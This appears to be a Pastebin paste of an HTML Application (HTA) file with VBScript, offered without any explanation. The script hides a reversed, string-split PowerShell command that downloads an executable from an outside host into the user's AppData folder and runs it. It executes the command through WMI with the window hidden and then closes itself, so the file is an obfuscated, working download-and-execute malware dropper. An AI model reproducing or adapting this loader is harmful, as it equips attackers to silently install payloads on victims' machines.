Advertisement
MestreQueda

Untitled

Jul 6th, 2020
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. <html>
  2. <head>
  3. <HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no" CAPTION="no" />
  4. <SCRIPT Language="VBScript">
  5.  
  6.  
  7. 'Begin Code
  8. gshjgjshsjhsusyuiweiwuwiuwiuiww = StrReverse(")'exe.elif'+'\\'+ATADPPA:vne$(ssecorp-trats ;D|')''exe.elif''+''\\''+ATADPPA:vne$,''exe.yttup/46w/tsetal/yttup/mahtatgs~/il.htrae.eht//:sptth''(e'+'liF'+'dao'+'ln'+'woD.'+')tne'+'ilC'+'beW'+'.teN' +')*O-W* '+'MCG(&(';r$ D las ;)'I','K'(ecalper.'XEK'=r$ llehsrewoP")
  9.  
  10.  
  11.  
  12. exec(gshjgjshsjhsusyuiweiwuwiuwiuiww)
  13.  
  14.  
  15.  
  16. Sub exec(Atc)
  17. strCommand = Atc
  18. Set objWMIService = GetObject(StrReverse("2vmic\toor\.\\!}etanosrepmi=leveLnoitanosrepmi{:stmgmniw"))
  19. Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
  20. Set objConfig = objStartup.SpawnInstance_
  21. objConfig.ShowWindow = 0
  22. Set objProcess = objWMIService.Get(StrReverse("ssecorP_23niW"))
  23. intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
  24. End Sub
  25.  
  26. self.close
  27.  
  28. self.close
  29. </SCRIPT>
  30. </body>
  31. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement